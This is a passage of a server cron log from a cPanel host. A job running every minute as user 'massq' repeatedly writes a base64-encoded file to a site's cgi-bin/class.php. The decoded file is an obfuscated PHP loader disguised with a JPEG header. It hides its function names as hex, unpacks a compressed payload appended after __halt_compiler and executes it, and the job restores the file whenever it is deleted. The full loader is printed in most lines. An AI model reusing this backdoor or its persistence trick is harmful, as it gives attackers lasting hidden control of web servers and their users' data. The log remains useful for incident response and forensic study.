klMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:45:01 server CROND[16585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:45:01 server CROND[16584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:46:01 server CROND[16710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:47:01 server CROND[16877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:48:01 server CROND[16946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:49:01 server CROND[17026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:50:01 server CROND[17101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 15:50:01 server CROND[17102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:50:01 server CROND[17104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:50:01 server CROND[17106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 15:50:01 server CROND[17103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:51:01 server CROND[17235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:52:01 server CROND[17405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:53:01 server CROND[17481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:54:01 server CROND[17545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:55:01 server CROND[17617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:55:01 server CROND[17618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:55:01 server CROND[17619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:56:01 server CROND[17731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:57:01 server CROND[17885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:57:01 server CROND[17886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 15:58:01 server CROND[17960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
